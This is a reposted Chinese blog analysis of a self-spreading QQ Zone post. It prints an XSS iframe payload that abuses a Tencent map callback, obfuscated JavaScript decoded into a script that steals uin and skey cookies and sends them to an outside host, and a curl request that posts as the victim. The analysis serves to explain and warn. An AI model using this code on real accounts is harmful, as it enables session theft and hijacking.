關於惡意說說自動在QQ空間轉發的機制


有些很討厭的帶鏈接說說,只要你在手機打開它,就會自動轉發,內容極其不雅

一怒之下我決定看個究竟
首先,在此頁開頭有此關鍵語句:

1 <iframe 
2 src="http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//"
3 name="s=document.createElement('script');document.body.appendChild(s);s.src='http://conf3.gamexm.net/moo.js';" style="display:none">
4 </iframe>

<iframe … style=”display:none”表明了這是一個隱藏的窗口,
src是一個精心構造的URL作為窗口的內容,
窗口名name是一段腳本

首先,瀏覽器會加載http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//
http://rtb.map.qq.com/rtbus?qt=comps&cb=#Your_Code_Here#

這是騰訊地圖的 RealTime Bidding(實時競價,RTB)API,會受到騰訊自己和殺軟的信任,它的作用是返回這樣的格式:
#Your_Code_Here# && #Your_Code_Here#({“detail”:{“comp_list”:[{“city”:3,”comp_id”:1,”name”:”騰訊北分”}],”num”:1},”info”:{“error”:0,”type”:86}})

騰訊北分,真是233到不行。看來北分在積極參與啊!

於是<iframe> 里面出現這樣一個東西:

1 </script><svg><script>eval(window.name);// && </script><svg><script>eval(window.name);//({"detail":{"comp_list":[{"city":3,"comp_id":1,"name":"騰訊北分"}],"num":1},"info":{"error":0,"type":86}})

呵呵,這不是一個XSS(跨站點攻擊腳本)嗎!!!
“</script><svg>”由於瀏覽器的容錯性被忽視了,“//”大家都知道是注釋,於是最終效果就是這個:
eval(window.name);

eval(“s=document.createElement(‘script’);document.body.appendChild(s);s.src=’http://conf3.gamexm.net/moo.js’;”)
eval作用是把字符串作為代碼解析。
s=document.createElement(‘script’);document.body.appendChild(s);會在文檔結尾創建<script></script>標簽,此標簽內的代碼會被執行

標簽內的代碼變成了http://conf3.gamexm.net/moo.js這個惡意腳本

這個腳本是這樣的:
OlOlll=”(x)”;OllOlO=” String”;OlllOO=”tion”;OlOllO=”Code(x)}”;OllOOO=”Char”;OlllOl=”func”;OllllO=” l = “;OllOOl=”.from”;OllOll=”{return”;Olllll=”var”;eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)
…………………………………………(略)特別長,特別費解,也是精心設計的!

請注意Ol不是01,是英文字母,為了造成閱讀困難。eval已經暴露了一切。來,我們一窺究竟!
按照OlOlll=”(x)”;等等進行替換

好,我們先解決第一部分,整理后如下:

 1 OlOlll="(x)";
 2 OllOlO=" String";
 3 OlllOO="tion";
 4 OlOllO="Code(x)}";
 5 OllOOO="Char";
 6 OlllOl="func";
 7 OllllO=" l = ";
 8 OllOOl=".from";
 9 OllOll="{return";
10 Olllll="var";
11 eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);

然后可以得出

    
eval("var l = function(x){return String.fromCharCode(x)}");

好了,l是個函數,返回數字ascii碼對應的字符,然后下面一段意圖就非常顯然了:

eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));

解析后得到

 1 eval("O=function(m){return String.fromCharCode(Math.floor(m/10000)/99);}"); 

呵呵,函數O這是要玩大的數啊!!!
下面的非常可怕,不過可以用調試得出答案
eval(“”+O(100980757)+O(115834719)+O(108907232)+O(98018607)+O(114843475)+O(103957850)+O(109895097)+O(108901326)+O(31681911)+O(101979572)+O(99991327)+O(114842917)+O(70290385)+O(83168569)+O(74258232)+O(39600813)+O(113855001)+O(114847653)+O(112861483)+O(40597539)++O。。。(實在太長了)
解析排版,刪去干擾字符得到后得到:

 1 function getGTK(str) 
 2 { 
 3 var hash = 5381;
 4 for (var i = 0, len = str.length; i < len; ++i) 
 5 { 
 6 hash += (hash << 5) + str.charAt(i).charCodeAt();
 7 }
 8 return hash & 0x7fffffff;
 9 }
10 function getCookie(name) 
11 {
12 var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
13 if (arr = document.cookie.match(reg)) return unescape(arr[2]);else return null;
14 }
15 var q=parseInt(getCookie("uin").replace("o", ""));
16 var k=getCookie("skey");
17 var oHead = document.getElementsByTagName('HEAD').item(0);
18 var toscript = document.createElement("script");
19 toscript.type = "text/javascript";
20 toscript.src = "http://config.baigou51.com/getcookie.asp?q="+q+"&s="+k+"&g="+getGTK(k)+"&t=3";
21 oHead.appendChild(toscript);

TMD!!!還沒有結束!!!繼續戰斗!!!
Cookie是一類數據,由網站生成,涉及用戶的關鍵、動態信息(比如判斷用戶是否登陸)
我進入QQ空間后,Cookie為
uin=o2980412917; skey=@Gxkiad0xM;
uin顯然為O+我的QQ號,skey是個關鍵臨時密碼,(我重登后就過期了,所以不用試!)

getCookie(name)函數用於獲取我的Cookie
getGTK(str)是為了給skey簽名,這樣可以確保skey是有效的
然后這段代碼會在網頁里面產生如下腳本並執行:

 1 <script src="http://config.baigou51.com/getcookie.asp?q=&s=2980412917@Gxkiad0xM&g=1850298802&t=3" /> 

其實就是執行那個鏈接,把你的skey交給服務器。然后,一切結束了。
因為skey功能是這樣的:
“skey權限代碼,也就是說如果可以獲得一個QQ號碼的Skey代碼,也就相應的拿到了對方QQ登陸和管理權限,這意味着你完全可以以主人的身份分分鍾進入對方的空間、查看加密的相冊,甚至發表說說,刪除留言…”

QQ號+skey就有了一切!服務器自動替你發說說!!!
比如只要

curl "http://user.qzone.qq.com/q/taotao/cgi-bin/emotion_cgi_forward_v6?g_tk=1850298802" -H "Host: user.qzone.qq.com" (略去一些數據) -H "Referer: http://user.qzone.qq.com/2980412917/main" -H "Cookie:uin=o########; skey=*******;" --data "說說內容"

然后就有一條說說出現在你的空間里面!

你輸了!!!

唯一解決方法就是退出空間(手機需要退出QQ),重新登陸QQ,這樣會產生新的skey,原來的skey就無效了.
刷新網頁,或者關掉手機QQ空間,不會改變skey

Tencent空間使用了各種方法來保護skey,但是防不住如此的偽裝。另外騰訊北分為此做了重大貢獻!

戰斗已經結束,好久沒有這么精彩的一遭了.各位晚安!望引以為戒!

 

轉自:http://zsy.blog.ustc.edu.cn/archives/133


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM